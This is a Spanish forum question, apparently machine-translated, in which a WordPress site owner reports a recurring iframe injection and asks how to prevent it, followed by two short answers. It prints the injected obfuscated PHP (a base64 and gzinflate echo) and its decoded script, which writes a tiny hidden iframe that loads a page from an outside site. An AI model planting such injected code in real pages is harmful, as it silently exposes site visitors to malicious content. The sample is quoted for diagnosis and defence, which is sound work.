En los últimos días, mi sitio web ha sido repetidamente el blanco de un ataque de iframe. El código se agrega principalmente a páginas PHP y Javascript. El código PHP es entonces la base codificada 64, véase el ejemplo (he cambiado ligeramente el código de neutralizarlo):Ataque de iframe en el sitio web: inserta el código en la fuente
#c3284d#
echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8 VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L")));
#/c3284d#
Este decodificada se ve algo como esto:
<script type="text/javascript">
document.write(
'<iframe src="http://opticmoxie.com/xxxxxxx.php"
name="Twitter" scrolling="auto" frameborder="no"
align="center" height="2" width="2"></iframe>'
);
la Una cosa en común es que todo el código tiene el comentario "# c3284d #", por lo que no es difícil rastrear el código malicioso. Pero lleva mucho tiempo ...
Estamos en un servidor compartido en Gradwell (Reino Unido) y no nos han sido especialmente útiles. Entonces, la pregunta es: ¿qué puedo hacer para evitar que este problema se repita? Conozco los ataques de inyección de MySQL y uso mysql_real_escape_string de PHP para protegerme de tales ataques.
El sitio es PHP y unidad MySQL. Usamos MySQLFTP y tenemos una cuenta shell para acceso SSH. Usamos Wordpress (última actualización con los complementos desactivados).
Hay mucho conocimiento de PHP que existe sobre este tipo de preguntas, y lo animo a que lo busque. Sin embargo, la respuesta lateral a esta pregunta es "[use algo que no sea PHP.] (http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/)" PHP es más propenso a los problemas de seguridad que otros idiomas. –
Una vieja pregunta, pero aún vale la pena mencionar este punto: obtener un escáner hash e instalarlo en su cuenta. Hay bastantes en PHP, de lo que Puedo decir. Estos usan cron para verificar qué archivos son nuevos o han cambiado y pueden enviarte un correo electrónico si se encuentran cambios sospechosos. – halfer